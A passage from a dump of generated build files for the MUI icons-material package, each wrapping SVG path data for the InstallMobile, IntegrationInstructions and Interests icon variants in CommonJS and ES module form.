    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h7V1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 14 5-5-1.41-1.41L19 10.17V3h-2v7.17l-2.59-2.58L13 9z\"\n}, \"1\")], 'InstallMobile');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h7V1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 14 5-5-1.41-1.41L19 10.17V3h-2v7.17l-2.59-2.58L13 9z\"\n}, \"1\")], 'InstallMobile');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h7V4H7V3h7V1.01L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2zm0 3H7v-1h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 14 5-5-1.41-1.41L19 10.17V3h-2v7.17l-2.59-2.58L13 9z\"\n}, \"1\")], 'InstallMobileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h7V4H7V3h7V1.01L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2zm0 3H7v-1h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 14 5-5-1.41-1.41L19 10.17V3h-2v7.17l-2.59-2.58L13 9z\"\n}, \"1\")], 'InstallMobileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.71 13.29 22.3 9.7c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L19 10.17V4c0-.55-.45-1-1-1s-1 .45-1 1v6.17l-1.89-1.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.59 3.59c.4.39 1.03.39 1.42 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h7V1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2z\"\n}, \"1\")], 'InstallMobileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.71 13.29 22.3 9.7c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L19 10.17V4c0-.55-.45-1-1-1s-1 .45-1 1v6.17l-1.89-1.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l3.59 3.59c.4.39 1.03.39 1.42 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h7V1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2z\"\n}, \"1\")], 'InstallMobileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h7V1H5v22h14v-7h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 14 5-5-1.41-1.41L19 10.17V3h-2v7.17l-2.59-2.58L13 9z\"\n}, \"1\")], 'InstallMobileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h7V1H5v22h14v-7h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 14 5-5-1.41-1.41L19 10.17V3h-2v7.17l-2.59-2.58L13 9z\"\n}, \"1\")], 'InstallMobileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h7v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 18H7V6h7V4H7V3h7V1.01L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2zm0 3H7v-1h10z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-2v7.17l-2.59-2.58L14 8l-1 1 1 1 4 4 3-3 2-2-1.41-1.41-.59.59-2 1.99z\"\n}, \"2\")], 'InstallMobileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InstallMobileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h7v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 18H7V6h7V4H7V3h7V1.01L7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-5h-2zm0 3H7v-1h10z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-2v7.17l-2.59-2.58L14 8l-1 1 1 1 4 4 3-3 2-2-1.41-1.41-.59.59-2 1.99z\"\n}, \"2\")], 'InstallMobileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructions.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11.17-1.41 1.42L6 12l3.59-3.59L11 9.83 8.83 12zm1-9.92c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m2.41 11.34L13 14.17 15.17 12 13 9.83l1.41-1.42L18 12z\"\n}), 'IntegrationInstructions');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructions.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11.17-1.41 1.42L6 12l3.59-3.59L11 9.83 8.83 12zm1-9.92c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m2.41 11.34L13 14.17 15.17 12 13 9.83l1.41-1.42L18 12z\"\n}), 'IntegrationInstructions');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14.17 8.83 12 11 9.83 9.59 8.41 6 12l3.59 3.59zm3.41 1.42L18 12l-3.59-3.59L13 9.83 15.17 12 13 14.17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 15v4H5V5h14z\"\n}, \"1\")], 'IntegrationInstructionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14.17 8.83 12 11 9.83 9.59 8.41 6 12l3.59 3.59zm3.41 1.42L18 12l-3.59-3.59L13 9.83 15.17 12 13 14.17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 15v4H5V5h14z\"\n}, \"1\")], 'IntegrationInstructionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.7 11.88c-.39.39-1.03.39-1.42 0l-2.17-2.17a.996.996 0 0 1 0-1.41l2.17-2.17c.39-.39 1.03-.39 1.42 0s.39 1.02 0 1.41L8.83 12l1.46 1.46c.39.39.4 1.03.01 1.42M12 4.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m1.7 10.63a.996.996 0 0 1 0-1.41L15.17 12l-1.47-1.47a.996.996 0 0 1 0-1.41c.39-.39 1.03-.39 1.42 0l2.17 2.17c.39.39.39 1.02 0 1.41l-2.17 2.17c-.39.4-1.03.4-1.42.01\"\n}), 'IntegrationInstructionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.7 11.88c-.39.39-1.03.39-1.42 0l-2.17-2.17a.996.996 0 0 1 0-1.41l2.17-2.17c.39-.39 1.03-.39 1.42 0s.39 1.02 0 1.41L8.83 12l1.46 1.46c.39.39.4 1.03.01 1.42M12 4.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m1.7 10.63a.996.996 0 0 1 0-1.41L15.17 12l-1.47-1.47a.996.996 0 0 1 0-1.41c.39-.39 1.03-.39 1.42 0l2.17 2.17c.39.39.39 1.02 0 1.41l-2.17 2.17c-.39.4-1.03.4-1.42.01\"\n}), 'IntegrationInstructionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zM11 14.17l-1.41 1.42L6 12l3.59-3.59L11 9.83 8.83 12zm1-9.92c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m2.41 11.34L13 14.17 15.17 12 13 9.83l1.41-1.42L18 12z\"\n}), 'IntegrationInstructionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zM11 14.17l-1.41 1.42L6 12l3.59-3.59L11 9.83 8.83 12zm1-9.92c-.41 0-.75-.34-.75-.75s.34-.75.75-.75.75.34.75.75-.34.75-.75.75m2.41 11.34L13 14.17 15.17 12 13 9.83l1.41-1.42L18 12z\"\n}), 'IntegrationInstructionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14.17 8.83 12 11 9.83 9.59 8.41 6 12l3.59 3.59zm3.41 1.42L18 12l-3.59-3.59L13 9.83 15.17 12 13 14.17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h14v14H5z\",\n  opacity: \".3\"\n}, \"2\")], 'IntegrationInstructionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IntegrationInstructionsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14.17 8.83 12 11 9.83 9.59 8.41 6 12l3.59 3.59zm3.41 1.42L18 12l-3.59-3.59L13 9.83 15.17 12 13 14.17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h14v14H5z\",\n  opacity: \".3\"\n}, \"2\")], 'IntegrationInstructionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Interests.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4M13 13v8h8v-8zM7 2l-5 9h10zm12.25.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75\"\n}), 'Interests');"
  },
  {
    "path": "packages/mui-icons-material/lib/Interests.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4M13 13v8h8v-8zM7 2l-5 9h10zm12.25.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75\"\n}), 'Interests');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M13 13v8h8v-8zm6 6h-4v-4h4zM7 2l-5 9h10zm0 4.12L8.6 9H5.4zM19.25 2.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75M17 8.35c-1.45-1.22-3-2.4-3-3.1 0-.43.35-.75.75-.75.31 0 .52.17.73.37L17 6.3l1.52-1.43c.21-.2.42-.37.73-.37.4 0 .75.32.75.75 0 .7-1.55 1.88-3 3.1\"\n}), 'InterestsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M13 13v8h8v-8zm6 6h-4v-4h4zM7 2l-5 9h10zm0 4.12L8.6 9H5.4zM19.25 2.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75M17 8.35c-1.45-1.22-3-2.4-3-3.1 0-.43.35-.75.75-.75.31 0 .52.17.73.37L17 6.3l1.52-1.43c.21-.2.42-.37.73-.37.4 0 .75.32.75.75 0 .7-1.55 1.88-3 3.1\"\n}), 'InterestsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4M13 14v6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1M6.13 3.57l-3.3 5.94c-.37.67.11 1.49.87 1.49h6.6c.76 0 1.24-.82.87-1.49l-3.3-5.94c-.38-.68-1.36-.68-1.74 0M19.25 2.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 1.83 2.03 3.17 4.35 5.18.37.32.92.32 1.3 0C19.97 8.42 22 7.08 22 5.25c0-1.47-1.19-2.75-2.75-2.75\"\n}), 'InterestsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4M13 14v6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1M6.13 3.57l-3.3 5.94c-.37.67.11 1.49.87 1.49h6.6c.76 0 1.24-.82.87-1.49l-3.3-5.94c-.38-.68-1.36-.68-1.74 0M19.25 2.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 1.83 2.03 3.17 4.35 5.18.37.32.92.32 1.3 0C19.97 8.42 22 7.08 22 5.25c0-1.47-1.19-2.75-2.75-2.75\"\n}), 'InterestsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4M13 13v8h8v-8zM7 2l-5 9h10zm12.25.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75\"\n}), 'InterestsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.02 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4M13 13v8h8v-8zM7 2l-5 9h10zm12.25.5c-1.06 0-1.81.56-2.25 1.17-.44-.61-1.19-1.17-2.25-1.17C13.19 2.5 12 3.78 12 5.25c0 2 2.42 3.42 5 5.75 2.58-2.33 5-3.75 5-5.75 0-1.47-1.19-2.75-2.75-2.75\"\n}), 'InterestsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InterestsTwoTone.js",
